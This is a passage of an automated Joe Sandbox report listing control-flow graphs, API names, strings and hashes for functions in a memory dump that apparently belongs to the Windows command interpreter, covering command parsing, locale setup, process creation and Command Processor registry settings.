                                                    control_flow_graph 216 7ff6bf3daa54-7ff6bf3daa98 call 7ff6bf3dcd90 219 7ff6bf3daa9e 216->219 220 7ff6bf3ebf5a-7ff6bf3ebf70 call 7ff6bf3e4c1c call 7ff6bf3dff70 216->220 221 7ff6bf3daaa5-7ff6bf3daaa8 219->221 223 7ff6bf3dacde-7ff6bf3dad00 221->223 224 7ff6bf3daaae-7ff6bf3daac8 wcschr 221->224 229 7ff6bf3dad06 223->229 224->223 226 7ff6bf3daace-7ff6bf3daae9 towlower 224->226 226->223 228 7ff6bf3daaef-7ff6bf3daaf3 226->228 231 7ff6bf3daaf9-7ff6bf3daafd 228->231 232 7ff6bf3ebeb7-7ff6bf3ebec4 call 7ff6bf3feaf0 228->232 233 7ff6bf3dad0d-7ff6bf3dad1f 229->233 236 7ff6bf3dab03-7ff6bf3dab07 231->236 237 7ff6bf3ebbcf 231->237 243 7ff6bf3ebf43-7ff6bf3ebf59 call 7ff6bf3e4c1c 232->243 244 7ff6bf3ebec6-7ff6bf3ebed8 call 7ff6bf3d3240 232->244 238 7ff6bf3dad22-7ff6bf3dad2a call 7ff6bf3e13e0 233->238 240 7ff6bf3dab7d-7ff6bf3dab81 236->240 241 7ff6bf3dab09-7ff6bf3dab0d 236->241 245 7ff6bf3ebbde 237->245 238->221 246 7ff6bf3ebe63 240->246 247 7ff6bf3dab87-7ff6bf3dab95 240->247 241->246 248 7ff6bf3dab13-7ff6bf3dab17 241->248 243->220 244->243 262 7ff6bf3ebeda-7ff6bf3ebee9 call 7ff6bf3d3240 244->262 257 7ff6bf3ebbea-7ff6bf3ebbec 245->257 254 7ff6bf3ebe72-7ff6bf3ebe88 call 7ff6bf3d3278 call 7ff6bf3e4c1c 246->254 252 7ff6bf3dab98-7ff6bf3daba0 247->252 248->240 253 7ff6bf3dab19-7ff6bf3dab1d 248->253 252->252 258 7ff6bf3daba2-7ff6bf3dabb3 call 7ff6bf3dcd90 252->258 253->245 259 7ff6bf3dab23-7ff6bf3dab27 253->259 281 7ff6bf3ebe89-7ff6bf3ebe8c 254->281 267 7ff6bf3ebbf8-7ff6bf3ebc01 257->267 258->220 272 7ff6bf3dabb9-7ff6bf3dabde call 7ff6bf3e13e0 call 7ff6bf3e33a8 258->272 259->257 260 7ff6bf3dab2d-7ff6bf3dab31 259->260 260->229 264 7ff6bf3dab37-7ff6bf3dab3b 260->264 276 7ff6bf3ebef3-7ff6bf3ebef9 262->276 277 7ff6bf3ebeeb-7ff6bf3ebef1 262->277 264->267 269 7ff6bf3dab41-7ff6bf3dab45 264->269 267->233 273 7ff6bf3dab4b-7ff6bf3dab4f 269->273 274 7ff6bf3ebc06-7ff6bf3ebc2a call 7ff6bf3e13e0 269->274 306 7ff6bf3dac75 272->306 307 7ff6bf3dabe4-7ff6bf3dabe7 272->307 279 7ff6bf3dab55-7ff6bf3dab78 call 7ff6bf3e13e0 273->279 280 7ff6bf3dad2f-7ff6bf3dad33 273->280 293 7ff6bf3ebc2c-7ff6bf3ebc4c _wcsnicmp 274->293 294 7ff6bf3ebc5a-7ff6bf3ebc61 274->294 276->243 282 7ff6bf3ebefb-7ff6bf3ebf0d call 7ff6bf3d3240 276->282 277->243 277->276 279->221 285 7ff6bf3ebc66-7ff6bf3ebc8a call 7ff6bf3e13e0 280->285 286 7ff6bf3dad39-7ff6bf3dad3d 280->286 289 7ff6bf3ebe92-7ff6bf3ebeaa call 7ff6bf3d3278 call 7ff6bf3e4c1c 281->289 290 7ff6bf3dacbe 281->290 282->243 313 7ff6bf3ebf0f-7ff6bf3ebf21 call 7ff6bf3d3240 282->313 319 7ff6bf3ebcc4-7ff6bf3ebcdc 285->319 320 7ff6bf3ebc8c-7ff6bf3ebcaa _wcsnicmp 285->320 295 7ff6bf3dad43-7ff6bf3dad49 286->295 296 7ff6bf3ebcde-7ff6bf3ebd02 call 7ff6bf3e13e0 286->296 342 7ff6bf3ebeab-7ff6bf3ebeb6 call 7ff6bf3e4c1c 289->342 300 7ff6bf3dacc0-7ff6bf3dacc7 290->300 293->294 303 7ff6bf3ebc4e-7ff6bf3ebc55 293->303 308 7ff6bf3ebd31-7ff6bf3ebd4f _wcsnicmp 294->308 304 7ff6bf3dad4f-7ff6bf3dad68 295->304 305 7ff6bf3ebd5e-7ff6bf3ebd65 295->305 335 7ff6bf3ebd04-7ff6bf3ebd24 _wcsnicmp 296->335 336 7ff6bf3ebd2a 296->336 300->300 310 7ff6bf3dacc9-7ff6bf3dacda 300->310 314 7ff6bf3ebbb3-7ff6bf3ebbb7 303->314 316 7ff6bf3dad6a 304->316 317 7ff6bf3dad6d-7ff6bf3dad70 304->317 305->304 315 7ff6bf3ebd6b-7ff6bf3ebd73 305->315 323 7ff6bf3dac77-7ff6bf3dac7f 306->323 307->290 318 7ff6bf3dabed-7ff6bf3dac0b call 7ff6bf3dcd90 * 2 307->318 325 7ff6bf3ebd55 308->325 326 7ff6bf3ebbc2-7ff6bf3ebbca 308->326 310->223 313->243 338 7ff6bf3ebf23-7ff6bf3ebf35 call 7ff6bf3d3240 313->338 327 7ff6bf3ebbba-7ff6bf3ebbbd call 7ff6bf3e13e0 314->327 328 7ff6bf3ebe4a-7ff6bf3ebe5e 315->328 329 7ff6bf3ebd79-7ff6bf3ebd8b iswxdigit 315->329 316->317 317->238 318->342 356 7ff6bf3dac11-7ff6bf3dac14 318->356 319->308 320->319 333 7ff6bf3ebcac-7ff6bf3ebcbf 320->333 323->290 331 7ff6bf3dac81-7ff6bf3dac85 323->331 325->305 326->221 327->326 328->327 329->328 340 7ff6bf3ebd91-7ff6bf3ebda3 iswxdigit 329->340 337 7ff6bf3dac88-7ff6bf3dac8f 331->337 333->314 335->336 343 7ff6bf3ebbac 335->343 336->308 337->337 346 7ff6bf3dac91-7ff6bf3dac94 337->346 338->243 358 7ff6bf3ebf37-7ff6bf3ebf3e call 7ff6bf3d3240 338->358 340->328 344 7ff6bf3ebda9-7ff6bf3ebdbb iswxdigit 340->344 342->232 343->314 344->328 351 7ff6bf3ebdc1-7ff6bf3ebdd7 iswdigit 344->351 346->290 349 7ff6bf3dac96-7ff6bf3dacaa wcsrchr 346->349 349->290 357 7ff6bf3dacac-7ff6bf3dacb9 call 7ff6bf3e1300 349->357 354 7ff6bf3ebddf-7ff6bf3ebdeb towlower 351->354 355 7ff6bf3ebdd9-7ff6bf3ebddd 351->355 361 7ff6bf3ebdee-7ff6bf3ebe0f iswdigit 354->361 355->361 356->342 362 7ff6bf3dac1a-7ff6bf3dac33 memset 356->362 357->290 358->243 363 7ff6bf3ebe11-7ff6bf3ebe15 361->363 364 7ff6bf3ebe17-7ff6bf3ebe23 towlower 361->364 362->306 365 7ff6bf3dac35-7ff6bf3dac4b wcschr 362->365 366 7ff6bf3ebe26-7ff6bf3ebe45 call 7ff6bf3e13e0 363->366 364->366 365->306 367 7ff6bf3dac4d-7ff6bf3dac54 365->367 366->328 368 7ff6bf3dad72-7ff6bf3dad91 wcschr 367->368 369 7ff6bf3dac5a-7ff6bf3dac6f wcschr 367->369 371 7ff6bf3daf03-7ff6bf3daf07 368->371 372 7ff6bf3dad97-7ff6bf3dadac wcschr 368->372 369->306 369->368 371->306 372->371 373 7ff6bf3dadb2-7ff6bf3dadc7 wcschr 372->373 373->371 374 7ff6bf3dadcd-7ff6bf3dade2 wcschr 373->374 374->371 375 7ff6bf3dade8-7ff6bf3dadfd wcschr 374->375 375->371 376 7ff6bf3dae03-7ff6bf3dae18 wcschr 375->376 376->371 377 7ff6bf3dae1e-7ff6bf3dae21 376->377 378 7ff6bf3dae24-7ff6bf3dae27 377->378 378->371 379 7ff6bf3dae2d-7ff6bf3dae40 iswspace 378->379 380 7ff6bf3dae42-7ff6bf3dae49 379->380 381 7ff6bf3dae4b-7ff6bf3dae5e 379->381 380->378 382 7ff6bf3dae66-7ff6bf3dae6d 381->382 382->382 383 7ff6bf3dae6f-7ff6bf3dae77 382->383 383->254 384 7ff6bf3dae7d-7ff6bf3dae97 call 7ff6bf3e13e0 383->384 387 7ff6bf3dae9a-7ff6bf3daea4 384->387 388 7ff6bf3daebc-7ff6bf3daef8 call 7ff6bf3e0a6c call 7ff6bf3dff70 * 2 387->388 389 7ff6bf3daea6-7ff6bf3daead 387->389 388->323 397 7ff6bf3daefe 388->397 389->388 390 7ff6bf3daeaf-7ff6bf3daeba 389->390 390->387 390->388 397->281
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: wcschr$Heap$AllocProcessiswspacememsettowlowerwcsrchr
                                                    • String ID: :$:$:$:ON$OFF
                                                    • API String ID: 972821348-467788257
                                                    • Opcode ID: 4f886329839ce9d73f83e73040c14b409f6776bafd90df2433360a667a1c5ce6
                                                    • Instruction ID: 04834f3b4d4aaaafb97b479d739431463d4bc79ef9a191a92afeb65f245212c3
                                                    • Opcode Fuzzy Hash: 4f886329839ce9d73f83e73040c14b409f6776bafd90df2433360a667a1c5ce6
                                                    • Instruction Fuzzy Hash: 1122B635A1C64385EB659FAD95142B9BB91EF55B80F488035CB0ECB3B6DF7CA940C390
                                                    Function 00007FF6BF3E51EC Relevance: 45.9, APIs: 15, Strings: 11, Instructions: 384COMMON
                                                    Download Yara Rule

                                                    Control-flow Graph

                                                    • Executed
                                                    • Not Executed
                                                    control_flow_graph 398 7ff6bf3e51ec-7ff6bf3e5248 call 7ff6bf3e5508 GetLocaleInfoW 401 7ff6bf3eef32-7ff6bf3eef3c 398->401 402 7ff6bf3e524e-7ff6bf3e5272 GetLocaleInfoW 398->402 403 7ff6bf3eef3f-7ff6bf3eef49 401->403 404 7ff6bf3e5295-7ff6bf3e52b9 GetLocaleInfoW 402->404 405 7ff6bf3e5274-7ff6bf3e527a 402->405 408 7ff6bf3eef61-7ff6bf3eef6c 403->408 409 7ff6bf3eef4b-7ff6bf3eef52 403->409 406 7ff6bf3e52de-7ff6bf3e5305 GetLocaleInfoW 404->406 407 7ff6bf3e52bb-7ff6bf3e52c3 404->407 410 7ff6bf3e5280-7ff6bf3e5286 405->410 411 7ff6bf3e54f7-7ff6bf3e54f9 405->411 414 7ff6bf3e5321-7ff6bf3e5343 GetLocaleInfoW 406->414 415 7ff6bf3e5307-7ff6bf3e531b 406->415 412 7ff6bf3eef75-7ff6bf3eef78 407->412 413 7ff6bf3e52c9-7ff6bf3e52d7 407->413 408->412 409->408 416 7ff6bf3eef54-7ff6bf3eef5f 409->416 410->411 417 7ff6bf3e528c-7ff6bf3e528f 410->417 411->401 420 7ff6bf3eef7a-7ff6bf3eef7d 412->420 421 7ff6bf3eef99-7ff6bf3eefa3 412->421 413->406 418 7ff6bf3eefaf-7ff6bf3eefb9 414->418 419 7ff6bf3e5349-7ff6bf3e536e GetLocaleInfoW 414->419 415->414 416->403 416->408 417->404 422 7ff6bf3eefbc-7ff6bf3eefc6 418->422 423 7ff6bf3eeff2-7ff6bf3eeffc 419->423 424 7ff6bf3e5374-7ff6bf3e5396 GetLocaleInfoW 419->424 420->406 425 7ff6bf3eef83-7ff6bf3eef8d 420->425 421->418 426 7ff6bf3eefde-7ff6bf3eefe9 422->426 427 7ff6bf3eefc8-7ff6bf3eefcf 422->427 428 7ff6bf3eefff-7ff6bf3ef009 423->428 429 7ff6bf3ef035-7ff6bf3ef03f 424->429 430 7ff6bf3e539c-7ff6bf3e53be GetLocaleInfoW 424->430 425->421 426->423 427->426 431 7ff6bf3eefd1-7ff6bf3eefdc 427->431 432 7ff6bf3ef021-7ff6bf3ef02c 428->432 433 7ff6bf3ef00b-7ff6bf3ef012 428->433 436 7ff6bf3ef042-7ff6bf3ef04c 429->436 434 7ff6bf3e53c4-7ff6bf3e53e6 GetLocaleInfoW 430->434 435 7ff6bf3ef078-7ff6bf3ef082 430->435 431->422 431->426 432->429 433->432 438 7ff6bf3ef014-7ff6bf3ef01f 433->438 439 7ff6bf3ef0bb-7ff6bf3ef0c5 434->439 440 7ff6bf3e53ec-7ff6bf3e540e GetLocaleInfoW 434->440 437 7ff6bf3ef085-7ff6bf3ef08f 435->437 441 7ff6bf3ef064-7ff6bf3ef06f 436->441 442 7ff6bf3ef04e-7ff6bf3ef055 436->442 443 7ff6bf3ef091-7ff6bf3ef098 437->443 444 7ff6bf3ef0a7-7ff6bf3ef0b2 437->444 438->428 438->432 445 7ff6bf3ef0c8-7ff6bf3ef0d2 439->445 446 7ff6bf3e5414-7ff6bf3e5436 GetLocaleInfoW 440->446 447 7ff6bf3ef0fe-7ff6bf3ef108 440->447 441->435 442->441 448 7ff6bf3ef057-7ff6bf3ef062 442->448 443->444 449 7ff6bf3ef09a-7ff6bf3ef0a5 443->449 444->439 450 7ff6bf3ef0d4-7ff6bf3ef0db 445->450 451 7ff6bf3ef0ea-7ff6bf3ef0f5 445->451 452 7ff6bf3ef141-7ff6bf3ef14b 446->452 453 7ff6bf3e543c-7ff6bf3e545e GetLocaleInfoW 446->453 454 7ff6bf3ef10b-7ff6bf3ef115 447->454 448->436 448->441 449->437 449->444 450->451 458 7ff6bf3ef0dd-7ff6bf3ef0e8 450->458 451->447 457 7ff6bf3ef14e-7ff6bf3ef158 452->457 459 7ff6bf3ef184-7ff6bf3ef18b 453->459 460 7ff6bf3e5464-7ff6bf3e5486 GetLocaleInfoW 453->460 455 7ff6bf3ef12d-7ff6bf3ef138 454->455 456 7ff6bf3ef117-7ff6bf3ef11e 454->456 455->452 456->455 461 7ff6bf3ef120-7ff6bf3ef12b 456->461 462 7ff6bf3ef170-7ff6bf3ef17b 457->462 463 7ff6bf3ef15a-7ff6bf3ef161 457->463 458->445 458->451 464 7ff6bf3ef18e-7ff6bf3ef198 459->464 465 7ff6bf3ef1c4-7ff6bf3ef1ce 460->465 466 7ff6bf3e548c-7ff6bf3e54ae GetLocaleInfoW 460->466 461->454 461->455 462->459 463->462 468 7ff6bf3ef163-7ff6bf3ef16e 463->468 469 7ff6bf3ef1b0-7ff6bf3ef1bb 464->469 470 7ff6bf3ef19a-7ff6bf3ef1a1 464->470 467 7ff6bf3ef1d1-7ff6bf3ef1db 465->467 471 7ff6bf3e54b4-7ff6bf3e54f5 setlocale call 7ff6bf3e8f80 466->471 472 7ff6bf3ef207-7ff6bf3ef20e 466->472 474 7ff6bf3ef1f3-7ff6bf3ef1fe 467->474 475 7ff6bf3ef1dd-7ff6bf3ef1e4 467->475 468->457 468->462 469->465 470->469 477 7ff6bf3ef1a3-7ff6bf3ef1ae 470->477 476 7ff6bf3ef211-7ff6bf3ef21b 472->476 474->472 475->474 479 7ff6bf3ef1e6-7ff6bf3ef1f1 475->479 480 7ff6bf3ef233-7ff6bf3ef23e 476->480 481 7ff6bf3ef21d-7ff6bf3ef224 476->481 477->464 477->469 479->467 479->474 481->480 482 7ff6bf3ef226-7ff6bf3ef231 481->482 482->476 482->480
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: InfoLocale$DefaultUsersetlocale
                                                    • String ID: .OCP$Fri$MM/dd/yy$Mon$Sat$Sun$Thu$Tue$Wed$dd/MM/yy$yy/MM/dd
                                                    • API String ID: 1351325837-2236139042
                                                    • Opcode ID: 2a4578c534326ca189a6d67b8d7d5f73ffb3ac0fc7df7dd3f0f26b29881ec2ab
                                                    • Instruction ID: 3655898dd86ef31dd965ab297666d0b9b4055a900ec346b125e6cbeed4a380e3
                                                    • Opcode Fuzzy Hash: 2a4578c534326ca189a6d67b8d7d5f73ffb3ac0fc7df7dd3f0f26b29881ec2ab
                                                    • Instruction Fuzzy Hash: AEF16A35B1874685EB258FA9D9002B967A4BF18B80F849135CB0D8B7B5EF7CE909C360
                                                    Function 00007FF6BF3E4224 Relevance: 45.8, APIs: 19, Strings: 7, Instructions: 328threadprocessstringCOMMON
                                                    Download Yara Rule

                                                    Control-flow Graph

                                                    • Executed
                                                    • Not Executed
                                                    control_flow_graph 483 7ff6bf3e4224-7ff6bf3e42a5 InitializeProcThreadAttributeList 484 7ff6bf3eecd4-7ff6bf3eecee GetLastError call 7ff6bf3f9eec 483->484 485 7ff6bf3e42ab-7ff6bf3e42e5 UpdateProcThreadAttribute 483->485 492 7ff6bf3eed1e 484->492 487 7ff6bf3eecf0-7ff6bf3eed19 GetLastError call 7ff6bf3f9eec DeleteProcThreadAttributeList 485->487 488 7ff6bf3e42eb-7ff6bf3e43c6 memset * 2 GetStartupInfoW call 7ff6bf3e3a90 call 7ff6bf3db900 485->488 487->492 497 7ff6bf3e43cc-7ff6bf3e43d3 488->497 498 7ff6bf3e4638-7ff6bf3e4644 _local_unwind 488->498 499 7ff6bf3e4649-7ff6bf3e4650 497->499 500 7ff6bf3e43d9-7ff6bf3e43dc 497->500 498->499 499->500 503 7ff6bf3e4656-7ff6bf3e465d 499->503 501 7ff6bf3e4415-7ff6bf3e4424 call 7ff6bf3e5a68 500->501 502 7ff6bf3e43de-7ff6bf3e43f5 wcsrchr 500->502 509 7ff6bf3e442a-7ff6bf3e4486 CreateProcessW 501->509 510 7ff6bf3e4589-7ff6bf3e4590 501->510 502->501 506 7ff6bf3e43f7-7ff6bf3e440f lstrcmpW 502->506 503->501 505 7ff6bf3e4663 503->505 505->500 506->501 508 7ff6bf3e4668-7ff6bf3e466d call 7ff6bf3f9044 506->508 508->501 512 7ff6bf3e448b-7ff6bf3e448f 509->512 510->509 514 7ff6bf3e4596-7ff6bf3e45fa CreateProcessAsUserW 510->514 515 7ff6bf3e4672-7ff6bf3e4682 GetLastError 512->515 516 7ff6bf3e4495-7ff6bf3e44c7 CloseHandle call 7ff6bf3e498c 512->516 514->512 518 7ff6bf3e468d-7ff6bf3e4694 515->518 516->518 522 7ff6bf3e44cd-7ff6bf3e44e5 516->522 520 7ff6bf3e46a2-7ff6bf3e46ac 518->520 521 7ff6bf3e4696-7ff6bf3e46a0 518->521 523 7ff6bf3e46ae-7ff6bf3e46b5 call 7ff6bf3e97bc 520->523 526 7ff6bf3e4705-7ff6bf3e4707 520->526 521->520 521->523 524 7ff6bf3e47a3-7ff6bf3e47a9 522->524 525 7ff6bf3e44eb-7ff6bf3e44f2 522->525 541 7ff6bf3e4703 523->541 542 7ff6bf3e46b7-7ff6bf3e4701 call 7ff6bf42c038 523->542 528 7ff6bf3e45ff-7ff6bf3e4607 525->528 529 7ff6bf3e44f8-7ff6bf3e4507 525->529 526->522 527 7ff6bf3e470d-7ff6bf3e472a call 7ff6bf3dcd90 526->527 543 7ff6bf3e473d-7ff6bf3e4767 call 7ff6bf3e13e0 call 7ff6bf3f9eec call 7ff6bf3dff70 _local_unwind 527->543 544 7ff6bf3e472c-7ff6bf3e4738 _local_unwind 527->544 528->529 532 7ff6bf3e460d 528->532 533 7ff6bf3e4612-7ff6bf3e4616 529->533 534 7ff6bf3e450d-7ff6bf3e4553 call 7ff6bf3e5cb4 call 7ff6bf3e33f0 call 7ff6bf3e498c 529->534 537 7ff6bf3e476c-7ff6bf3e4773 532->537 539 7ff6bf3e461c-7ff6bf3e4633 533->539 540 7ff6bf3e47d7-7ff6bf3e47df 533->540 563 7ff6bf3e4558-7ff6bf3e455e 534->563 537->529 548 7ff6bf3e4779-7ff6bf3e4780 537->548 545 7ff6bf3e47f2-7ff6bf3e483c call 7ff6bf3dff70 DeleteProcThreadAttributeList call 7ff6bf3e8f80 539->545 540->545 546 7ff6bf3e47e1-7ff6bf3e47ed CloseHandle 540->546 541->526 542->526 543->537 544->543 546->545 548->529 553 7ff6bf3e4786-7ff6bf3e4789 548->553 553->529 558 7ff6bf3e478f-7ff6bf3e4792 553->558 558->524 559 7ff6bf3e4794-7ff6bf3e479d call 7ff6bf3fa250 558->559 559->524 559->529 567 7ff6bf3e4564-7ff6bf3e4579 call 7ff6bf3e498c 563->567 568 7ff6bf3e47ae-7ff6bf3e47ca call 7ff6bf3e33f0 563->568 567->545 576 7ff6bf3e457f-7ff6bf3e4584 call 7ff6bf3fa920 567->576 568->540 576->545
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: AttributeProcThread$List$CloseCreateDeleteErrorHandleLastProcessmemsetwcsrchr$InfoInitializeStartupUpdateUser_local_unwind_wcsnicmplstrcmp
                                                    • String ID: %01C$%08X$=ExitCode$=ExitCodeAscii$COPYCMD$\XCOPY.EXE$h
                                                    • API String ID: 388421343-2905461000
                                                    • Opcode ID: 55d34b9fbbbe98a267e2a1b689c77e543e9d7ab297a27b4d624c1a5c7cdf6f16
                                                    • Instruction ID: bce2100f96335bf0f560f0605e39d2bcb3a528e0fef16dde15fdd95015c8e968
                                                    • Opcode Fuzzy Hash: 55d34b9fbbbe98a267e2a1b689c77e543e9d7ab297a27b4d624c1a5c7cdf6f16
                                                    • Instruction Fuzzy Hash: 46F14E36A28B82C5EA609B99E4407BAB7A4FF89780F404136DB4D87775DF3CE854CB50
                                                    Function 00007FF6BF3E5554 Relevance: 45.8, APIs: 18, Strings: 8, Instructions: 295registryCOMMON
                                                    Download Yara Rule

                                                    Control-flow Graph

                                                    • Executed
                                                    • Not Executed
                                                    control_flow_graph 579 7ff6bf3e5554-7ff6bf3e55b9 call 7ff6bf3ea640 582 7ff6bf3e55bc-7ff6bf3e55e8 RegOpenKeyExW 579->582 583 7ff6bf3e55ee-7ff6bf3e5631 RegQueryValueExW 582->583 584 7ff6bf3e5887-7ff6bf3e588e 582->584 585 7ff6bf3ef248-7ff6bf3ef24d 583->585 586 7ff6bf3e5637-7ff6bf3e5675 RegQueryValueExW 583->586 584->582 587 7ff6bf3e5894-7ff6bf3e58db time srand call 7ff6bf3e8f80 584->587 591 7ff6bf3ef260-7ff6bf3ef265 585->591 592 7ff6bf3ef24f-7ff6bf3ef25b 585->592 588 7ff6bf3e568e-7ff6bf3e56cc RegQueryValueExW 586->588 589 7ff6bf3e5677-7ff6bf3e567c 586->589 595 7ff6bf3e56d2-7ff6bf3e5710 RegQueryValueExW 588->595 596 7ff6bf3ef2b6-7ff6bf3ef2bb 588->596 593 7ff6bf3e5682-7ff6bf3e5687 589->593 594 7ff6bf3ef28b-7ff6bf3ef290 589->594 591->586 598 7ff6bf3ef26b-7ff6bf3ef286 _wtol 591->598 592->586 593->588 594->588 603 7ff6bf3ef296-7ff6bf3ef2b1 _wtol 594->603 601 7ff6bf3e5712-7ff6bf3e5717 595->601 602 7ff6bf3e5729-7ff6bf3e5767 RegQueryValueExW 595->602 599 7ff6bf3ef2ce-7ff6bf3ef2d3 596->599 600 7ff6bf3ef2bd-7ff6bf3ef2c9 596->600 598->586 599->595 604 7ff6bf3ef2d9-7ff6bf3ef2f4 _wtol 599->604 600->595 605 7ff6bf3e571d-7ff6bf3e5722 601->605 606 7ff6bf3ef2f9-7ff6bf3ef2fe 601->606 607 7ff6bf3e579f-7ff6bf3e57dd RegQueryValueExW 602->607 608 7ff6bf3e5769-7ff6bf3e576e 602->608 603->588 604->595 605->602 606->602 609 7ff6bf3ef304-7ff6bf3ef31a wcstol 606->609 612 7ff6bf3e57e3-7ff6bf3e57e8 607->612 613 7ff6bf3ef3a9 607->613 610 7ff6bf3e5774-7ff6bf3e578f 608->610 611 7ff6bf3ef320-7ff6bf3ef325 608->611 609->611 616 7ff6bf3e5795-7ff6bf3e5799 610->616 617 7ff6bf3ef357-7ff6bf3ef35e 610->617 614 7ff6bf3ef34b 611->614 615 7ff6bf3ef327-7ff6bf3ef33f wcstol 611->615 618 7ff6bf3ef363-7ff6bf3ef368 612->618 619 7ff6bf3e57ee-7ff6bf3e5809 612->619 620 7ff6bf3ef3b5-7ff6bf3ef3b8 613->620 614->617 615->614 616->607 616->617 617->607 621 7ff6bf3ef38e 618->621 622 7ff6bf3ef36a-7ff6bf3ef382 wcstol 618->622 623 7ff6bf3e580f-7ff6bf3e5813 619->623 624 7ff6bf3ef39a-7ff6bf3ef39d 619->624 626 7ff6bf3ef3be-7ff6bf3ef3c5 620->626 627 7ff6bf3e582c 620->627 621->624 622->621 623->624 625 7ff6bf3e5819-7ff6bf3e5823 623->625 624->613 625->620 628 7ff6bf3e5829 625->628 629 7ff6bf3e5832-7ff6bf3e5870 RegQueryValueExW 626->629 627->629 630 7ff6bf3ef3ca-7ff6bf3ef3d1 627->630 628->627 631 7ff6bf3ef3dd-7ff6bf3ef3e2 629->631 632 7ff6bf3e5876-7ff6bf3e5882 RegCloseKey 629->632 630->631 633 7ff6bf3ef3e4-7ff6bf3ef412 ExpandEnvironmentStringsW 631->633 634 7ff6bf3ef433-7ff6bf3ef439 631->634 632->584 636 7ff6bf3ef414-7ff6bf3ef426 call 7ff6bf3e13e0 633->636 637 7ff6bf3ef428 633->637 634->632 635 7ff6bf3ef43f-7ff6bf3ef44c call 7ff6bf3db900 634->635 635->632 640 7ff6bf3ef42e 636->640 637->640 640->634
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: QueryValue$CloseOpensrandtime
                                                    • String ID: AutoRun$CompletionChar$DefaultColor$DelayedExpansion$DisableUNCCheck$EnableExtensions$PathCompletionChar$Software\Microsoft\Command Processor
                                                    • API String ID: 145004033-3846321370
                                                    • Opcode ID: 7805ef0751f17a64bc231b327674b43fa69c0befe7df2b1e52c817e25d9d9668
                                                    • Instruction ID: 2f05fe62c33970aa92c2ef117e72f1917478addf2e01b39655380ae7aba3ef5c
                                                    • Opcode Fuzzy Hash: 7805ef0751f17a64bc231b327674b43fa69c0befe7df2b1e52c817e25d9d9668
                                                    • Instruction Fuzzy Hash: DFE1A53652DA82C6E7508FA8E44057AB7A0FF98740F406135EB8EC6A78DFBCD954CB50
                                                    Function 00007FF6BF3E37D8 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 269registrythreadmemoryCOMMON
                                                    Download Yara Rule

                                                    Control-flow Graph

                                                    • Executed
                                                    • Not Executed
